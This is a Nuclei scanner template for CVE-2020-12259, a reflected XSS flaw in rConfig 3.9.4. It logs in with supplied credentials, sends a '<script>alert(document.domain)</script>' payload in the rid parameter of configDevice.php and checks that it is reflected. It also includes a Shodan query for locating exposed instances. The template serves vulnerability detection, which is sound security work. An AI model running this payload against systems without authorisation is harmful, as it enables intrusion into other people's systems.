55 lines
1.9 KiB
YAML
55 lines
1.9 KiB
YAML
id: CVE-2020-12259
|
|
|
|
info:
|
|
name: rConfig 3.9.4 - Cross-Site Scripting
|
|
author: r3Y3r53
|
|
severity: medium
|
|
description: |
|
|
rConfig 3.9.4 is vulnerable to reflected XSS. The configDevice.php file improperly validates user input. An attacker can exploit this vulnerability by crafting arbitrary JavaScript in the rid GET parameter of devicemgmnt.php
|
|
reference:
|
|
- https://www.rconfig.com/downloads/rconfig-3.9.4.zip
|
|
- https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-12259
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2020-12259
|
|
cwe-id: CWE-79
|
|
epss-score: 0.16256
|
|
epss-percentile: 0.95391
|
|
cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: "true"
|
|
max-request: 3
|
|
vendor: rconfig
|
|
product: rconfig
|
|
shodan-query: http.title:"rConfig"
|
|
tags: cve,cve2020,rconfig,authenticated,xss
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /lib/crud/userprocess.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
user={{username}}&pass={{password}}&sublogin=1
|
|
- |
|
|
GET /configDevice.php?rid="><script>alert(document.domain)</script> HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
host-redirects: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_3 == 200'
|
|
- 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
|
|
- 'contains(content_type_3, "text/html")'
|
|
condition: and
|
|
|
|
# digest: 4a0a004730450221009d5eb5b9c08d4a9bfd0cdd2f254d278a83fddfcbc27f0818e577eb12e52c53c4022061d6c29b707c70fd6184e575804a52bf1eeeb40d7c9901c6d74aec5b7e53d88c:922c64590222798bb761d5b6d8e72950
|